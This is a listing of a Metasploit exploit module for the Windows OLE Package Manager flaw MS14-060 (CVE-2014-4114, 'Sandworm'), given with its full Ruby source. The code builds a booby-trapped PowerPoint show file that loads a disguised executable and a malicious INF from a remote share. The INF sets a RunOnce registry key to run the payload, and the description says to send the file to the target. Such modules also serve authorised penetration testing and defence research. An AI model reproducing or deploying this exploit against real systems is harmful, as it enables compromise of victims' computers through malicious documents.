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MS14-060 Microsoft Windows OLE Package Manager Code Execution

MS14-060 Microsoft Windows OLE Package Manager Code Execution
Posted Oct 18, 2014
Authored by sinn3r, juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.

tags | exploit, arbitrary, code execution
systems | windows
advisories | CVE-2014-4114
SHA-256 | 204194de715b57d2c50a8f59365b64bfc7f2ab16e20add9ad3d4be4efaca222f

MS14-060 Microsoft Windows OLE Package Manager Code Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "MS14-060 Microsoft Windows OLE Package Manager Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows
Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be
vulnerable. However, based on our testing, the most reliable setup is on Windows platforms
running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such
as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to
a failure in the CPackage::CreateTempFileName function.

This module will generate three files: an INF, a GIF, and a PPSX file. You are required to
set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an
older version of Winodws (such as XP) work best for this because they require little
configuration to get going. The PPSX file is what you should send to your target.

In detail, the vulnerability has to do with how the Object Packager 2 component
(packager.dll) handles an INF file that contains malicious registry changes, which may be
leveraged for code execution. First of all, Packager does not load the INF file directly.
But as an attacker, you can trick it to load your INF anyway by embedding the file path as
a remote share in an OLE object. The packager will then treat it as a type of media file,
and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will
download it with a CopyFileW call, save it in a temp folder, and pass that information for
later. The exploit will do this loading process twice: first for a fake gif file that's
actually the payload, and the second for the INF file.

The packager will also look at each OLE object's XML Presentation Command, specifically the
type and cmd property. In the exploit, "verb" media command type is used, and this triggers
the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd
property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3"
is used (again, for the INF file), it will cause the packager to try to find appropriate
handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that
will install/run the malicious INF file, and finally give us arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-4114'],
['OSVDB', '113140'],
['MSB', 'MS14-060'],
['BID', '70419'],
['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'],
['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/']
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],
],
'Privileged' => false,
'DisclosureDate' => "Oct 14 2014",
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])
], self.class)
end

def exploit
@unc = validate_unc_path

if @unc.nil?
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
end

print_status("Creating the EXE payload...")
payload_name = "#{rand_text_alpha(4)}.gif"
p = generate_payload_exe

print_status("Creating the INF file...")
inf_name = "#{rand_text_alpha(4)}.inf"
inf = inf_file(payload_name)

print_status("Creating '#{datastore['FILENAME']}' file ...")
exe_stream = ole_exe(payload_name)
inf_stream = ole_inf(inf_name)
zip = zip_ppsx(exe_stream, inf_stream)
file_create(zip)

payload_path = my_file_create(p, payload_name)
print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}")

inf_path = my_file_create(inf, inf_name)
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
end

def validate_unc_path
if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
unc = datastore['UNCPATH']
else
unc = nil
end

unc
end

def my_file_create(data, name)
ltype = "exploit.fileformat.#{self.shortname}"
path = store_local(ltype, nil, data, name)

path
end

def zip_ppsx(ole_exe, ole_inf)
zip_data = {}
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')

Dir["#{data_dir}/**/**"].each do |file|
unless File.directory?(file)
zip_data[file.sub(data_dir,'')] = File.read(file)
end
end

# add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
zip_data[file.sub(data_dir,'')] = File.read(file)

# put our own OLE streams
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf

# create the ppsx
ppsx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
ppsx.add_file(k,v)
end

ppsx.pack
end

def ole_inf(file_name)
content = "EmbeddedStg2.txt\x00"
content << "#{@unc}\\#{file_name}\x00"

data = [content.length].pack('V')
data << content
ole = create_ole("\x01OLE10Native", data)

ole
end

def ole_exe(file_name)
content = "EmbeddedStg1.txt\x00"
content << "#{@unc}\\#{file_name}\x00"

data = [content.length].pack('V')
data << content

ole = create_ole("\x01OLE10Native", data)

ole
end

def create_ole(stream_name, data)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

stm = stg.create_stream(stream_name)
stm << data
stm.close

directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
# 02260200-0000-0000-c000-000000000046 # Video clip
clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
entry.instance_variable_set(:@_clsId, clsid)
end
end

# write to disk
stg.close

ole_contents = File.read(ole_tmp.path)
ole_tmp.close
ole_tmp.unlink

ole_contents
end

def inf_file(gif_name)
inf = <<-EOF
; 61883.INF
; Copyright (c) Microsoft Corporation. All rights reserved.

[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385

[DestinationDirs]
DefaultDestDir = 1

[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart

[RxRename]
#{gif_name}.exe, #{gif_name}
[RxStart]#
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe
EOF

inf
end

end

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